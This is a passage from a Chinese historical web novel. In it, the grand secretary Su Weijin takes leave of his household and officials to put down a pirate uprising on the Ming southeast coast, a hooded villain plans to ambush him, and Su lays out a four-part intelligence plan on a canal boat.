陆清晏低头沉默片刻,轻声道:“夫君,若是因为我让你为难,我……”
“清晏。”苏惟瑾打断她。
“我既做了决定,便不会后悔。你安心在府里住着,外头的事,有我。”
陆清晏抬眼看他,眼里有光闪了闪,最终重重点头:“是。”
用罢膳,苏惟瑾没急着走,而是在她书案前坐下,翻了翻她看的书。
都是史书、兵书,还有些杂记。
“爱看这些?”
“闲着无事。”陆清晏站在一旁。
“兄长从前常看,我便也看。”
苏惟瑾拿起一本《武经总要》,翻了翻,忽然道:“清晏,你可知道,你兄长如今在查什么?”
陆清晏一怔,摇头:“兄长从不说公务。”
苏惟瑾合上书,看向窗外渐暗的天色:“他在查郭勋。”
陆清晏瞳孔一缩。
“武定侯郭勋,掌京营,与严党往来密切。”苏惟瑾缓缓道。
“你兄长查到,郭勋与云南那边有些牵扯。”
“云南?”陆清晏不解。
“郭勋久在京城,怎会与云南有牵扯?”
苏惟瑾转头看她,眼里有深意:“因为杨慎虽死,余党未清。”
“而郭勋……想要军功。”
陆清晏瞬间明白了。
郭勋想动云南的土司,借平乱之名掌兵权、立军功。
而云南那些土司,与杨慎旧部有千丝万缕的联系……
“夫君是说,”她声音发紧。
“郭勋要动手了?”
“快了。”苏惟瑾站起身。
“所以清晏,你在府里好好待着,别出门。”
“京城……很快就要不太平了。”
他走到门口,又回头:“对了,明日雪茹教你防身术,好好学。”
“万一……有用。”
陆清晏看着他离开的背影,攥紧了袖中的玉佩。
窗外,暮色四合,京城华灯初上。
可这万家灯火的安宁下,暗涌已经翻腾。
陆清晏顺利入府,后宅看似和睦圆满。
然而赵教谕的警告、郭勋的异动、云南的暗流,都预示着更大的风暴即将来临。
苏惟瑾那句“京城很快就要不太平了”,究竟是预感还是掌握了什么关键线索?
而陆清晏袖中那枚陆家的祖传玉佩,又是否会在未来的风波中,成为某个关键的凭证?
齐家之后,治国的棋盘上,更凶险的棋局已经开始布局。
第369章 东南传急报,倭乱卷重来
嘉靖十二年的春天来得晚,直到三月中旬,京城的柳树才抽出嫩芽。
苏府后园的紫藤花开得正盛,陆清晏坐在花架下抚琴。
琴声清泠,却隐隐透着一股不安——她自己也说不清这不安从何而来。
正弹到《平沙落雁》的第三段,前院传来急促的脚步声。
王雪茹快步走进来,眉头紧皱:“清晏,别弹了。夫君被紧急召进宫了。”
琴声戛然而止。
陆清晏抬头:“出什么事了?”
“东南急报。”王雪茹在她身边坐下,压低声音,“刚听前院小厮说,兵部的快马半夜进城,八百里加急。”
“福建、浙江、南直隶沿海,全乱了。”
“倭寇?”
“不止。”王雪茹摇头,“听说这次不一样。倭寇里混着汉人,有火铳火炮,还攻破了卫所。”
陆清晏心头一沉。
她想起兄长陆炳前几日来看她时,曾提到锦衣卫在东南的暗线传回些零碎消息,说是海上有些异动。
当时她没在意,如今想来……
“夫君这一去,怕是又要出征了。”王雪茹叹了口气。
紫禁城,文华殿。
嘉靖帝脸色铁青地坐在龙椅上,面前御案上堆着一摞奏报。
殿内站着内阁阁臣、六部尚书、都督府都督,个个神色凝重。
兵部尚书张瓒捧着最新一份急报,声音发颤:“……本月十三,倭寇三百余众突袭浙江台州海门卫,守军猝不及防,卫所千户**战死,副千户重伤。”
“倭寇焚毁战船五艘,劫掠粮仓后乘潮退去。”
“同日,福建泉州崇武所遭袭,倭寇约五百人,携弗朗机炮两门,轰破所城东南角。”
“守军伤亡二百余,百姓死伤……”
“南直隶松江府金山卫海域,三日内连劫商船十二艘,其中两艘为漕粮船……”
一份份奏报念下来,殿内气温仿佛降到了冰点。
嘉靖帝的手指无意识地敲击着御案,半晌才开口:“倭寇之患,年年有。为何今年如此猖獗?”
张瓒躬身道:“陛下,据前线奏报,此次倭寇有三异:其一,规模远超往年,动辄数百人,且数股倭寇似有呼应;其二,装备精良,除刀枪弓矢外,竟有火铳、火炮,绝非寻常浪人所能有;其三……”
他顿了顿,声音更低:“倭寇头目中,似有熟悉我大明军务之人。”
“台州之战,倭寇避实击虚,专攻卫所薄弱处;松江劫船,专挑漕粮船下手——这绝非巧合。”
殿内一片寂静。
苏惟瑾站在文官队列中,超频大脑已如精密仪器般运转起来。
倭寇……汉人……火器……熟悉军务……
瞬间,无数信息碎片在脑中碰撞、重组:广西黑巫师的海外联系、广州陈瞎子供出的走私网络、海州盐商赵魁与倭寇的勾结、郭勋对军功的渴望……
“这不是寻常倭乱。”
苏惟瑾突然开口,声音平静却清晰,“是有人幕后组织,意图搅乱东南,浑水摸鱼。”
所有人的目光都投向他。
严嵩站在对面,眯了眯眼:“苏阁老有何高见?”
“严阁老请看。”苏惟瑾走出队列,来到殿中悬挂的东南海图前,“倭寇往年劫掠,多在春夏之交,乘东南风而来,秋后即退。”
“可如今才是三月,风候未至,他们便大举进犯——此其一异。”
他手指点向几个遭袭地点:“台州海门卫、泉州崇武所、松江金山卫,这三处相距数百里,却几乎同时遭袭。”
“若无人居中调度协调,如何能做到?”
“再说装备。”苏惟瑾转身看向嘉靖帝,“陛下,弗朗机炮乃西洋利器,造价昂贵。”
“寻常倭寇劫掠所得,尚不足购炮一门。如今他们竟有两门,且**充足——这炮从何而来?**从何而来?”
一连三问,问得殿内众人哑口无言。
严嵩脸色沉了沉,但很快恢复常态:“苏阁老分析得有理。只是……这幕后之人,会是谁呢?”
苏惟瑾深深看了他一眼:“严阁老可还记得,去年广西平叛时,那些黑巫师供出的海外联系?”
严嵩心头一跳。
“臣怀疑,”苏惟瑾转向嘉靖帝,拱手道,“此次倭乱,与前朝遗族、黑巫师余孽,乃至朝中某些与走私利益牵扯之人,皆有干系。”
“他们的目的,绝非劫掠财物那么简单。”
嘉靖帝眉头紧锁:“苏卿的意思是……”
“东南乃朝廷财赋重地,每年漕粮、盐税、商税,十之六七出自东南。”苏惟瑾声音凝重,“若东南乱局蔓延,则国库空虚,边军粮饷不继,九边震动——此乃动摇国本之祸!”
这话说得重了。
殿内响起一片吸气声。
“那依苏卿之见,该如何应对?”嘉靖帝问。
苏惟瑾深吸一口气,撩袍跪地:“臣请赴东南督师,彻查倭乱根源,一举平定!”
“不可!”
“万万不可!”
两个声音几乎同时响起。
一个是严嵩,一个是礼部尚书夏言。
严嵩上前一步:“陛下,苏阁老乃内阁首辅,国之柱石,岂可轻离中枢?”
“东南险地,刀兵无眼,若有不测,朝廷损失大矣!”
夏言也道:“苏阁老忠心可嘉,但平倭乃武将之事。朝廷可派大将征讨,何须阁臣亲赴险地?”
苏惟瑾跪着没动,抬头看向嘉靖帝:“陛下,正因臣是首辅,才更该去。”
他顿了顿,一字一句道:“此次倭乱,非寻常战事。若只派武将征讨,即便能击退倭寇,也难挖出幕后黑手。”
“唯有臣去,方可调动各方资源,彻查到底。”
“且臣在广西平叛时,略通军务;周大山、苏惟虎等将领皆可随行;更有鹤岑国师可随军‘祈福’,以安军心——此去,胜算不小。”
嘉靖帝面露犹豫。
他确实需要一个人去东南稳住局面,可苏惟瑾……太重要了。
这两年,朝政在苏惟瑾打理下井井有条,国库也渐渐充盈。
若他有个闪失……
“陛下。”
一直沉默的鹤岑国师忽然开口了。
这位老道今日穿一身崭新道袍,手持拂尘,仙风道骨。
他上前一步,躬身道:“贫道夜观天象,东南有妖星作乱,其光晦暗,隐有血煞之气。此非天灾,乃人祸。”
他看了苏惟瑾一眼,继续道:“苏大人身负祥瑞,紫气护体,正是**妖邪的合适人选。”
“若苏大人赴东南,贫道愿随行祈福,以正克邪。”
这话说得玄乎,却正中嘉靖帝下怀。
这位皇帝近年来愈发崇信道教,对鹤岑的话几乎言听计从。
听鹤岑这么一说,他脸上的犹豫渐渐消散。
“既如此……”嘉靖帝终于点头,“准奏。”
他站起身,朗声道:“命苏惟瑾为钦差督师东南军务,赐尚方剑,准便宜行事。”
“浙江、福建、南直隶沿海各省,文武官员皆受节制。”
“谢陛下!”苏惟瑾叩首。
“另,”嘉靖帝补充道,“调周大山率虎贲营三千精锐随行,苏惟虎率神机营火器部队,苏惟山率水师一部——三军皆听苏卿调遣。”
“臣领旨!”
苏惟瑾再拜。
严嵩站在一旁,脸色变了又变,最终化为一声几不可闻的冷哼。
散朝后,苏惟瑾刚出宫门,就
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被几个官员围住了。
“苏阁老,此行凶险,千万保重啊!”
“倭寇凶残,阁老切莫亲身犯险……”
“需要什么支持,阁老尽管开口!”
这些多是清流官员,与苏惟瑾交好。
他们是真的担心——东南那摊浑水,太深了。
苏惟瑾一一谢过,正要上轿,却见严嵩走了过来。
“苏阁老。”严嵩皮笑肉不笑,“此番南下,责任重大。老夫在京城,静候佳音。”
“多谢严阁老关心。”苏惟瑾拱手,“本官定不负陛下所托。”
“那是自然。”严嵩凑近些,压低声音,“不过苏阁老,东南那地方……鱼龙混杂。”
“有些事,查得太深,对谁都不好。”
苏惟瑾看着他,忽然笑了:“严阁老说得是。所以本官此去,只查倭寇,不查别的。”
严嵩眼神一凝。
“当然,”苏惟瑾话锋一转,“若有人与倭寇勾结,祸乱国家——那便是**,本官定斩不饶!”
他说完,转身上轿。
轿帘落下前,他看见严嵩站在原地,脸色阴沉得能滴出水来。
回到苏府,已是傍晚。
府里灯火通明,妻妾们都在前厅等着。
见苏惟瑾回来,陈芸娘第一个迎上来:“夫君……”
“我都知道了。”苏惟瑾握住她的手,“放心,我很快就回来。”
赵文萱递过热茶,轻声道:“妾身已让人收拾行装。夫君此行,要带哪些人?”
“大山、惟虎、惟山都去。”苏惟瑾喝了口茶,“另外,让胡三也准备准备,他那手驱役鸟兽的本事,在东南或许有用。”
王雪茹眼睛一亮:“夫君,我也去!我……”
“你不能去。”苏惟瑾打断她,“府里需要人守着。雪茹,你武艺最好,留在京城,保护芸娘她们。”
王雪茹张了张嘴,最终点头:“……好。”
沈香君和陆清晏站在一旁,都没说话。
但眼里的担忧,藏不住。
“香君,”苏惟瑾看向她,“我不在时,府里外头的应酬,你多费心。”
沈香君柔声应道:“夫君放心。”
最后,苏惟瑾看向陆清晏:“清晏,你兄长那边……我会小心。”
陆清晏抿了抿唇,低声道:“夫君保重。”
是夜,书房。
苏惟瑾铺开东南海图,超频大脑全速运转。
倭寇活动范围、袭击路线、时间节点……一个个坐标在脑中浮现,连成一张大网。
他提笔,写了几封密信。
第一封给仍在广西的王阳明,请其坐镇西南,防止黑巫师余孽趁乱生事。
第二封给彭友信,命其动用江湖关系,提前潜入东南,搜集倭寇及走私网络情报。
第三封给海州知州刘锡——这位老部下如今已升任浙江布政使,正好在东南。
写完信,他走到窗边,望向东南方向。
夜色深沉,星辰晦暗。
“东南……”他喃喃自语,“是时候会会那些藏在阴影里的‘老朋友’了。”
窗外,一阵风过,紫藤花瓣簌簌落下。
苏惟瑾即将南下平倭,看似是应对突发危机,实则主动踏入一张早已布好的大网。
严嵩那句“查得太深对谁都不好”的警告、倭寇中熟悉大明军务的汉人、突然出现的弗朗机炮……所有这些线索,都指向朝中有人与倭寇勾结。
而苏惟瑾此行,不仅要平倭,更要挖出幕后黑手。
可对手在暗他在明,东南那片海,究竟藏着多少凶险?
而京城这边,严党会趁他离京有什么动作?
陆炳在查的郭勋,与东南倭乱又有什么关联?
风暴,才刚刚开始。
第370章 离京嘱妻妾,瑾布后手棋
嘉靖十二年四月初三,宜出行。
天还没亮透,苏府已经灯火通明。
下人们轻手轻脚地搬运箱笼,马厩里传来战马的响鼻声,前院廊下站着十几个披甲的家丁——都是周大山从虎贲营挑出来的好手,留下来看家护院的。
苏惟瑾在书房里,正和三位老臣交代事情。
费宏、毛纪、石珤,这三位都是成化、弘治朝的老臣了,虽然年纪大了,但在朝中威望高,为人也正派。
苏惟瑾举荐他们暂代政务,嘉靖准了。
“费公,”苏惟瑾将一份厚厚的卷宗推过去,“这是应对常见政务的预案。”
“北边鞑靼若有异动,按甲案处理;黄河若报汛情,按乙案;各地奏报灾荒,按丙案……都写在里面了。”
费宏接过卷宗,翻开一看,眼睛亮了。
好家伙,里头分门别类,从边患到内政,从灾荒到民变,足足二十几种可能情况,每种都列出了应对步骤、可用官员、所需钱粮估算。
条理清晰,考虑周全,简直像一本政务百科全书。
“苏阁老这……”费宏感慨,“真是费心了。”
毛纪凑过来看了几眼,也啧啧称奇:“老夫为官四十载,头回见人把政务琢磨得这么透。”
“苏阁老,你这不是去平倭,是去游山玩水吧?这安排得也太妥当了。”
苏惟瑾笑了:“毛公说笑了。”
“东南之事难料,不知何时能归。”
“朝政乃国之根本,不敢轻忽。”
石珤捋着胡子,忽然道:“苏阁老,你走之后,严嵩那边……”
“不必理他。”苏惟瑾神色平静,“他若想揽权,随他去。”
“只要不动国本,不伤百姓,三位只管坐镇便是。”
“但若有大事——”
他顿了顿,从袖中取出一枚小巧的铜符:“可持此符去锦衣卫衙门,寻北镇抚司镇抚使冯唐。”
“他是我的人。”
三人对视一眼,心里都有了底。
这位年轻的苏阁老,看着温和,手段却一点不软。
人还没走,连锦衣卫这条线都安排好了。
送走三位老臣,苏惟瑾又见了宋卫佳和苏惟奇。
宋卫佳如今是京营参将,管着三大营里最精锐的神机营一部。
这位当年在广西就跟苏惟瑾的老部下,如今越发沉稳了。
“卫佳,京营你看紧些。”苏惟瑾交代,“特别是郭勋那边。”
“他若想调兵,必须经过兵部和都督府,你盯着点。”
“大人放心。”宋卫佳抱拳,“郭勋那老小子,这两年憋着劲呢。”
“您不在,他肯定要搞事。不过有我在,他翻不起浪。”
苏惟奇那边更简单——他如今是五城兵马司指挥使,管着京城治安。
“哥,京城交给我。”苏惟奇拍胸脯,“别说严党,就是只苍蝇想捣乱,我也给它拍下来。”
苏惟瑾拍拍他肩膀:“小心些。”
“我留了二十个虎贲营弟兄给你,关键时候能用。”
“够了!”苏惟奇咧嘴笑,“就京城这些纨绔,我一个能打十个。”
安排完外头的事,已近午时。
苏惟瑾回到后院,妻妾们都在花厅等着。
陈芸娘抱着女儿安宁坐在主位。
小丫头刚满周岁,穿一身粉红小袄,正咿咿呀呀地玩着手中的拨浪鼓。
见苏惟瑾进来,她眼睛一亮,伸出小手:“爹……爹……”
苏惟瑾心头一软,上前接过女儿,在她小脸上亲了亲。
“夫君,”陈芸娘温声道,“行李都备好了。”
“冬衣夏装各两箱,常用药材一箱,还有你爱吃的蜜饯、茶叶,都装车了。”
她说着,从袖中取出一个锦囊:“这是我昨日去大隆福寺求的平安符,住持开了光的,你贴身带着。”
苏惟瑾接过锦囊,入手温热,还带着芸娘身上的淡淡香气。
“辛苦你了。”他轻声道,“我不在时,你多休息。”
“家务让文萱、雪茹分担,别累着。”
陈芸娘眼圈微红,却强笑着点头:“嗯。”
赵文萱上前,手里捧着个包袱:“夫君,这是我缝的几件里衣。”
“东南湿热,我用了最透气的苏绸,针脚密实些,耐穿。”
她顿了顿,又从怀中取出一个香囊:“这里头装的是艾草、薄荷、冰片,驱虫避瘴。”
“你挂在帐中,或随身带着都行。”
苏惟瑾接过,见那香囊上绣着青竹,针脚细密,显然费了不少功夫。
“文萱有心了。”
王雪茹等不及了,直接塞过来一柄短刃。
精钢打造,一尺来长,刀鞘朴实无华,但拔出刀来,寒光逼人。
“夫君,这是我爹当年给我的。”王雪茹难得认真,“吹毛断发,削铁如泥。”
“你带上,防身。”
苏惟瑾试了试刀锋,果然锋利异常。
他笑着收下:“好刀。”
“不过雪茹,你在家也要小心。”
“府里的安全,就拜托你了。”
“放心!”王雪茹挺胸,“有我在,一只老鼠都别想溜进来!”
沈香君没送东西,只是柔声道:“夫君,妾身为你弹一曲吧。”
她走到琴案前,素手轻抚。
琴声起,竟是《破阵子》。
这曲子本是琵琶曲,激昂慷慨,用古琴弹来,少了些杀伐之气,多了几分苍凉壮阔。
沈香君的琴艺已臻化境,指尖流转间,仿佛有金戈铁马之声,又有十里长亭之别。
一曲终了,余音绕梁。
苏惟瑾深深看她一眼:“香君,我不在时,外头应酬你多费心。”
“夫君放心。”沈香君敛衽,“妾身省得。”
最后是陆清晏。
她默默递上一本书——手抄的《东南风物志》,厚厚一册,墨迹犹新。
“夫君,”她声音很轻,“这是妾身这几日查阅典籍所辑。”
“里头记了东南沿海的气候、潮汐、风俗、物产,还有……倭寇历年劫掠的路线规律。”
苏惟瑾翻开一看,心头一震。
书里不仅文字详实,还配了简图。
潮汐时刻表、季风风向图、沿海卫所布防简图……虽然不及军中精细,但对一个从未去过东南的女子来说,已是难得。
“清晏费心了。”他郑重收下。
陆清晏摇摇头,又从袖中取出那枚陆家玉佩,塞进他手里:“这个……夫君带着。”
苏惟瑾一怔:“这是你兄长……”
“兄长若知,也会让夫君带着的。”陆清晏垂眸,“东南险地,多一分依仗总是好的。”
苏惟瑾看着手中温润的玉佩,最终点点头:“好。”
午后,苏惟瑾把妻妾们都叫到跟前。
“我走之后,家中便拜托你们了。”他郑重道,“若有急事,三策可用。”
“其一,寻常之事,你们商量着办。”
“芸娘为主,文萱、雪茹辅之。”
“其二,若遇难决之事,可去莲花胡同寻婉妹。”
“大山虽不在,但她在京城这些年,也有些门路。”
“其三,”他压低声音,“若真到了危急关头,可去城南‘云裳阁’找掌柜。”
“报上‘紫藤花开’四字,他自会设法传信于我。”
五女齐齐点头。
陈芸娘抱着女儿,柔声道:“夫君早去早回,勿以家为念。”
安宁似懂非懂,也跟着咿呀:“爹……回……”
苏惟瑾挨个看过她们,最终转身。
“走了。”
离京当日,嘉靖帝竟亲至午门送行。
这是天大的荣宠。
文武百官都到了,乌泱泱站了一片。
严嵩站在最前头,脸上挂着标准的笑容,眼神却冷得很。
“苏卿,”嘉靖赐酒三杯,“朕在京城,等你凯旋。”
“臣定不负陛下所托!”苏惟瑾单膝跪地,接过金杯,一饮而尽。
三杯酒罢,他翻身上马。
周大山、苏惟虎、苏惟山三将披甲随行,身后是三千虎贲营精锐、一千神机营火器兵、五百水师,再加上辅兵杂役,足足五千余人。
队伍中间,鹤岑国师乘着一辆特制的马车,车帘绣着八卦图。
老道今日格外仙风道骨,手持拂尘,闭目养神。
胡三殿后,身边跟着几只驯养好的猎鹰和獒犬,引得围观百姓啧啧称奇。
“出发!”
苏惟瑾一声令下,队伍缓缓开拔。
出正阳门,沿护城河向南,过永定门,便是南下的官道。
路两旁挤满了送行的百姓。
有当年受过苏惟瑾恩惠的灾民,有敬仰他清名的书生,也有纯粹看热闹的市井小民。
“苏阁老保重啊!”
“早日凯旋!”
“打跑倭寇!”
呼声此起彼伏。
苏惟瑾在马上拱手还礼,心头却沉甸甸的。
这一去,不知几时能归。
更不知……前方等着他的是什么。
与此同时,东南某处。
这里不是大陆,而是一座海岛。
岛不大,怪石嶙峋,植被稀疏,看起来荒无人烟。
但若绕过一片礁石,便会发现一个隐蔽的洞穴入口。
洞内别有天地。
数十支火把插在岩壁上,照得洞内亮如白昼。
地上铺着兽皮,摆着粗糙的木桌石凳,几十个精悍汉子或坐或站,个个眼神凶戾。
最深处的高台上,坐着三个人。
左边是个独眼老者,正是陈瞎子。
两年不见,他更苍老了,但那只独眼里的阴狠,有增无减。
中间是个黑袍人,全身罩在宽大的黑袍里,连脸都藏在兜帽阴影中,只露出一双枯瘦如柴的手。
手上戴着一枚奇特的戒指——黑铁打造,嵌着一颗暗红色的宝石,宝石里似乎有火焰在流动。
右边是个中年汉子,满脸横肉,右颊一道刀疤从眼角划到嘴角,看着就瘆人。
他穿着倭寇常见的短打,腰间却挎着一柄明军制式的腰刀。
“首领。”陈瞎子躬身汇报,“京城探子来报,苏惟瑾已离京南下。”
“率军约五千,虎贲营、神机营、水师各一部,还有那老道鹤岑。”
“预计月内可至浙江。”
黑袍人兜帽下的阴影动了动,发出一声嘶哑的冷笑:“来得正好。”
他缓缓抬起手,那颗暗红宝石在火光下闪烁着妖异的光。
“这两年,他在京城搅风搅雨,坏我们多少事。”黑袍人的声音像是砂纸摩擦,“广西的基业,广州的布置,京城的安排……都毁在他手里。”
刀疤汉子咧嘴笑了,露出满口黄牙:“首领,这次定叫他有来无回!”
“咱们在东南布置了两年,就等这条大鱼!”
“不可轻敌。”黑袍人淡淡道,“苏惟瑾此人,诡计多端。”
“广西、广州,我们都以为必胜,却都栽在他手里。”
他顿了顿,声音更冷:“传令各方:按计划行事。”
“第一路,海上拦截。”
“等他水师入海,半路击之。”
“第二路,岸上伏击。”
“在台州、温州交界处设伏,那里山多林密,最适合打埋伏。”
“第三路……”黑袍人顿了顿,“让那些‘自己人’动一动。”
“该报信的报信,该使绊子的使绊子。”
陈瞎子独眼一亮:“首领高明!三路齐发,任他苏惟瑾有三头六臂,也难逃一死!”
刀疤汉子却有些犹豫:“首领,那些‘自己人’……可靠吗?”
“毕竟都是明廷的官。”
黑袍人笑了,笑声嘶哑难听:“正因他们是明廷的官,才更要卖力。”
“苏惟瑾若在东南查出什么,第一个倒霉的就是他们。”
他站起身,黑袍无风自动。
“这一次,我要让东南的海水,都染成红色。”
“苏惟瑾……”黑袍人望向洞口外的海面,声音里满是怨毒,“这里,就是你的葬身之地!”
苏惟瑾刚离京,反派的死亡陷阱已经布下。
海陆三路杀招,还有朝中“自己人”的内应,这张网织得又密又狠。
而苏惟瑾对此还一无所知,正沿着运河南下。
他能否识破陷阱?
那本陆清晏给的《东南风物志》,会不会成为破局的关键?
而京城之中,严党会趁他不在有什么动作?
郭勋与这海岛上的黑袍人,又有什么联系?
南下的路,步步杀机。
第371章 运河舟中议,瑾析敌情势
船队出了京畿地界,运河上的风光便大不一样了。
北方的运河多是人工开凿,河道规整,两岸多是农田村落。
过了山东济宁,渐渐入了江淮,河道变得宽阔曲折起来,两岸开始出现连绵的芦苇荡,偶尔还能看见水鸟惊飞。
苏惟瑾的座船是艘改造过的漕船,比寻常官船宽敞许多。
前舱做了议事厅,中间是书房兼卧室,后舱住着几个亲兵。
船头插着钦差旗帜,迎风猎猎作响。
这日午后,船队停在徐州码头补给。
苏惟瑾命人在前舱摆开一张八仙桌,铺上东南沿海的海图和各地送来的情报卷宗,召集了周大山、苏惟虎、鹤岑国师、胡三等人议事。
舱内点了三盏油灯,映得海图上密密麻麻的标记格外清晰。
“都坐。”苏惟瑾率先坐下,手里拿着一叠刚整理好的情报汇总。
“船上的日子闲不住,咱们把东南的事理一理。”
周大山一屁股坐在下首的条凳上,抓了抓后脑勺:“大人,俺们虎贲营的弟兄们天天在船上练刀,手都痒了。”
“到了地方,您说打哪儿,俺们就打哪儿!”
苏惟虎沉稳些,先倒了杯茶递给苏惟瑾:“哥,这是刚在徐州码头买的云峰茶,您尝尝。”
鹤岑老道闭目养神,一副世外高人的模样。
胡三则蹲在舱门口,手里把玩着一只刚驯好的灰背隼——这鸟凶得很,在他手里却服服帖帖的。
苏惟瑾喝了口茶,摊开情报:“此次倭乱,我看了各地方送来的奏报,发现三大疑点。”
他竖起一根手指:“第一,倭寇选择攻击的目标,很古怪。”
说着,他抽出几份卷宗:“你们看,台州海门卫被劫的是粮仓和军械库;泉州崇武所被破后,倭寇直奔税关,抢了库银;松江金山卫那边,专劫漕粮船——这些都不是寻常富户,而是朝廷的命脉所在。”
苏惟虎皱眉:“确实反常。”
“往年倭寇多是劫掠沿海富户、商船,求财而已。这次怎么专冲着官家去了?”
“这就是问题所在。”苏惟瑾又竖起第二根手指,“第二,倭寇中汉人的比例,高得不正常。”
他翻出一份浙江按察使司的审讯记录:“台州之战,官军斩获倭寇首级八十七颗,其中能辨认出汉人特征的,竟有三十四颗。”
“俘虏的伤者中,不少是闽浙口音,招供说自己是沿海渔民,被倭寇裹挟。”
周大山瞪眼:“三成还多!这他娘的到底是倭寇还是海贼?”
“怕是两者都有。”苏惟瑾冷笑,“第三,也是最重要的——倭寇的装备,太精良了。”
他摊开一份兵部核验的战损清单:“弗朗机炮两门,鸟铳三十余支,火药数百斤,铅弹、铁丸不计其数。”
“这些玩意儿,可不是寻常浪人能弄到的。”
舱内一时寂静。
运河的水声从船舷传来,哗啦哗啦的。
鹤岑老道缓缓睁眼:“苏大人之意,是有人暗中支持倭寇?”
“不是支持,”苏惟瑾摇头,“是操控。”
他站起身,走到海图前,手指点向几个遭袭地点:“你们看,这三处遭袭,时间相近,手法类似,攻击的都是要害。”
“这不是散兵游勇能做到的,必须有统一的指挥调度。”
“还有汉人比例。”他继续分析,“四成的汉人,还多是本地口音——这说明什么?”
“说明倭寇在沿海有根基,有人替他们打掩护、提供情报、甚至补充人手。”
周大山听得脑袋发胀:“大人,您说这么多,俺就听明白一点——有人捣鬼!”
“那咱们直接打就是了,管他那么多!”
苏惟瑾笑了:“大山,治病要除根。”
“你看,倭寇就像疖子,咱们把表面的脓挤掉容易。”
“可若是不把病灶挖出来,它还会长,长了再挤,挤了再长——没完没了。”
他顿了顿,神色认真起来:“所以这一趟,咱们不仅要剿灭表面的倭寇,更要揪出幕后黑手,斩断他们的资金、人员、武器来源。”
“只有这样,东南才能真正太平。”
苏惟虎若有所思:“哥,那咱们该怎么挖?”
“四路并进。”苏惟瑾走回桌前,铺开一张空白宣纸,提笔写下四个字。
“第一路,”他写下“陆”字,“惟虎,你从神机营挑二十个机灵的斥候,扮成商旅、货郎、游方郎中,潜入沿海各州县。”
“不查倭寇,专查走私——查那些能把火器、铁料、硫磺运出海的路子。”
苏惟虎点头:“明白。”
“第二路,”苏惟瑾写下“海”字,看向胡三,“三爷,你那驯鸟的本事,该派上用场了。”
胡三咧嘴一笑,手里的灰背隼扑棱了下翅膀:“公子您说,让这些扁毛畜生干啥?”
“放出你驯养的海鸟,沿着海岸线飞。”苏惟瑾道,“不要求它们找到倭寇巢穴——那太难。”
“只要盯住近海可疑的船只。哪些船昼伏夜出,哪些船不走寻常航道,哪些船在荒僻海岛停靠……记下来。”
“这个简单!”胡三拍拍胸脯,“俺驯的那些海鸥、信天翁,飞个百八十里不在话下。”
“再教它们认认旗号,保准给您盯得明明白白!”
“第三路,”苏惟瑾写下“庙”字,看向鹤岑,“国师,得劳烦您了。”
鹤岑捻须微笑:“苏大人请讲。”
“以‘祈福’‘布道’为名,去沿海的寺庙、道观、妈祖庙走走。”苏惟瑾道,“这些地方,香客杂,消息灵。”
“僧道之流,往往知道些官府不知道的事。”
鹤岑点头:“贫道省得。方外之人,说话反倒方便。”
“第四路,”苏惟瑾写下“商”字,“通过‘云裳阁’在东南的分号,暗中收购倭寇劫掠的赃物。”
周大山纳闷:“大人,买赃物干啥?”
“顺藤摸瓜。”苏惟瑾解释,“倭寇抢了东西,总要销赃。丝绸、瓷器、金银器皿……这些都有来路可查。”
“咱们买下来,查查是谁卖出来的,卖的什么价,卖给谁——这条线,往往能牵出大鱼。”
他放下笔,环视众人:“四路齐发,陆、海、庙、商,咱们把东南这张网,细细筛一遍。”
接下来的几日,船队继续南下,各项布置却已悄然展开。
苏惟虎从神机营挑了二十个好手,这些人都是老兵油子,会看风向、懂行话、能扮啥像啥。
分五批下船,扮成贩茶叶的、卖药材的、走江湖卖艺的,混入沿途城镇。
胡三更忙。
他那艘小船跟在队伍后面,甲板上立着好几个木架,架上停着七八只猛禽。
有灰背隼,有游隼,甚至还有两只从辽东弄来的海东青。
每日清晨,胡三就吹起特制的骨哨,挨个给这些扁毛畜生喂食,嘴里还念念有词:“去,沿着东边飞,看到可疑的船就回来报信。”
“听话的话,晚上加肉!”
别说,这些鸟真通人性。
喂了三天,就能按指令往指定方向飞,日落前准回来。
胡三还在每只鸟腿上绑了特制的小竹筒,里头塞着炭条和油纸——若是看到什么,鸟会啄开竹筒,用炭条在油纸上划拉几下。
虽然划拉出来的东西歪歪扭扭,但胡三能看懂。
什么“三桅船”“荒岛烟火”“夜不点灯”……零零碎碎,却都是有用的信息。
鹤岑那边更玄乎。
老道每到一处码头停靠,就换上簇新的道袍,手持拂尘,带着两个小道童下船。
也不进城,专找附近的寺庙道观去“挂单”,说是要为东南百姓祈福消灾。
还别说,这招真管用。
僧道之间自有圈子,鹤岑又是“国师”身份,那些地方上的和尚道士见了他,都恭敬得很。
几杯清茶一喝,闲话就聊开了。
“国师您不知道,前阵子我们这儿来了几个怪人,说要捐香油钱修庙,一出手就是二百两!可那模样,凶神恶煞的……”
“妈祖庙的老刘头说,最近总有人来买香烛纸钱,一买就是几十斤,说是祭海用。可祭海哪用得了那么多?”
“小庙后山前几日有生人来过,留下些包裹,贫僧打开一看,竟是硫磺的味道……”
这些零零碎碎的消息,鹤岑都记在心里,每晚回船就向苏惟瑾汇报。
至于“云裳阁”那条线,更隐秘。
苏惟瑾写了密信,用特制的药水加密,通过沿途驿站的信鸽传出去。
三日后,杭州、宁波、台州三地的“云裳阁”分号,就开始悄然行动了。
四月十五,船队抵达扬州。
这是运河上的大码头,南来北往的商船云集。
苏惟瑾命船队在此休整一日,补充给养。
傍晚,各方情报开始陆续汇总到座船上。
胡三捧着一叠油纸进来,满脸兴奋:“公子,有眉目了!”
他摊开油纸,上面是几只海鸟“画”回来的信息。
炭条痕迹歪歪扭扭,但能辨认出大致意思。
“这只看到三艘双桅船,在舟山外海的‘狼牙礁’附近转悠,三天没挪窝。”
“这只看到东矶列岛有烟火,像是炊烟,可那岛荒得很,不该有人。”
“还有这只,”胡三指着最皱巴的一张,“看到‘双屿岛’附近有船进出,夜里都不点灯,鬼鬼祟祟的。”
“双屿岛?”苏惟瑾眼睛一亮。
他快步走到海图前,手指在舟山群岛一带寻找。
很快,找到了——那是舟山群岛南部的一个小岛,在地图上只有米粒大小,旁边标注着“双屿”二字。
“这地方……”苏惟瑾喃喃自语。
超频大脑飞速运转,尘封的历史知识被调取出来。
双屿岛,明代嘉靖年间东南沿海最大的走私贸易中心之一。
葡萄牙人、日本人、中国走私商云集于此,号称“海上小上海”。
历史上,直到嘉靖二十七年才被明军剿灭……
而现在,是嘉靖十二年。
“提前了十五年。”苏惟瑾眼神锐利起来。
这时,苏惟虎也回来了。
他扮成药材商在扬州城里转了一天,带回来一个重要消息。
“哥,我打听到了。”苏惟虎压低声音,“扬州城里有几家商行,暗地里做‘海货’生意。”
